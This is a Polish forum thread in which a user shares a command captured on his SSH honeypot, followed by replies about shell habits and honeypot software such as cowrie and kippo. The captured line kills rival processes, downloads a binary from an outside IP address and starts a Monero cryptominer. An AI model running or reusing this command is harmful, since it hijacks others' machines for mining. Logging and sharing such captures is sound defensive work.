[dzaku]

#linux #honeypot
Przedwczoraj do na honeypot ssh wpadł pierwszy #miner

#cd /tmp; ps -ef | grep sfs | grep -v grep | awk '{print $2}' | xargs kill -9;ps -ef | grep sfs | grep -v grep | awk '{print $2}' | xargs kill -9; ulimit -n 150000; wget -O sfs [http://185.174.172.18/sfs;chmod](http://185.174.172.18/sfs;chmod) 777 sfs;./sfs -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [e-mail] -p x >/
dev/null 2>&1 &; ps -ef | grep rrr | grep -v grep | awk '{print $2}' | xargs kill -9;ps -ef | grep rrr | grep -v grep | awk '{print $2}' | xargs kill -9

[d.....s]

@dzaku że chciał wbić na twój serwer i odpalić koparke?

[Szala]

@dzaku możesz opisać jak przygotowujesz honeypot?

[dzaku]

[e-mail]

@dev-ops: no dokladnie :)
@Szala: Na jutro coś zrobie :) cala procedura trwa ogolnie 5 minut ;)

@interface: dobry pomysł musze popaczec ale chyba nie identyfikowal by sie prawdziwymi danymi

[dlycs]

ps -ef | grep sfs | grep -v grep | awk '{print $2}' | xargs kill -9

można skrócić do:

pkill -9 sfs

so lame…

[GRBAS]

@dzaku taktycznie, też chciałbym into honey pot

[d.....s]

@dzaku zawolaj I mnie na tutorial :)

[dzaku]

@dlycs: awk z grepem :) złe nawyki widac nigdy bufora pipe nigdy nie przeplnil ;)

[kfasio]

@dzaku: daj namiar na tego honeypota, chętnie tam wrzucę moją koparkę ( ͡° ͜ʖ ͡°)

[dzaku]

@kfasio: Nope ¯\_(ツ)_/¯ . Jeszcze znajdziesz drogę ucieczki i mi terabajty piwnicznych memow :) .

[Ziemeck]

@dzaku: kippo? Czy jakiś high interaction?

[dzaku]

@Ziemeck: narazie testuje cowrie . Ale chetnie poznam kolejne ;) , kippo wygląda jak by stanęło w rozwoju nastepny do testow pojdzie sshhipot